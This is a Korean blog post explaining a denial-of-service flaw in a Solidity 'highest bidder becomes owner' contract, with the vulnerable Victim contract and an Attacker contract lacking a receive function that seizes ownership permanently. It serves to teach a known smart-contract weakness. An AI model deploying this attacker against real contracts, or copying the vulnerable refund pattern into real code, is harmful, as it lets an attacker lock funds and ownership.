서비스 거부

최대 ETH 기부자가 해당 계약의 소유자가 되도록 허용하는 계약이 있다고 가정해 보겠습니다.
이 블로그에서는 계약 취약성을 이용하여 그러한 계약을 탈취하는 것이 어떻게 가능한지 살펴보겠습니다.

다음 계약을 고려하십시오.
  • 누구나 becomeOwner() 함수를 호출하고 balance보다 큰 금액을 전송하여 소유자가 될 수 있습니다.
  • 호출 시 becomeOwner() 조건이 충족되면 balance 금액이 현재 소유자에게 전송되고 ownerbalance 상태 변수가 업데이트됩니다.

  • contract Victim {
        address public owner;
        uint public balance;
    
        function becomeOwner() external payable {
            require(msg.value > balance);
            (bool sent, ) = owner.call{value: balance}("");
            require(sent, "Send failed");
    
            balance = msg.value;
            owner = msg.sender;
        }
    }
    

    이제 피해자 계약이 현재 소유자에게 현재 잔액을 보낼 수 없다고 가정해 보겠습니다. 즉, require(sent, "Send failed");가 만족되지 않습니다.
    이 경우 현재 소유자는 제거할 수 없으며 새 소유자를 추가할 수 없습니다. 이것이 바로 공격자가 계약을 탈취할 수 있는 방법입니다.

    contract Attacker { // has no fallback function, hence can't recieve eth
        Victim victimCOntract;
    
        constructor(address _victim) {
            victimCOntract = Victim(_victim);
        }
    
        function attack() external payable {
            victimCOntract.becomeOwner{value: msg.value}();
        }
    }
    


    Attacker 기능에는 수신/대체 기능이 없으므로 누군가 ETH 트랜잭션을 보내려고 시도하는 경우 ETH를 받을 수 없습니다. 따라서 becomeOwner() 기능은 누구도 실행하지 않습니다.

    공격자가 ETH를 받을 수 없다면 어떻게 피해자에게 ETH를 보낼 수 있는지 질문이 있을 수 있습니다.
    이에 대한 답은 간단합니다. attack() 함수를 보면 공격 계약에 ETH가 공급되지 않는다는 것을 알 수 있습니다. 함수 호출자에서 피해자에게 직접 거래됩니다.

    좋은 웹페이지 즐겨찾기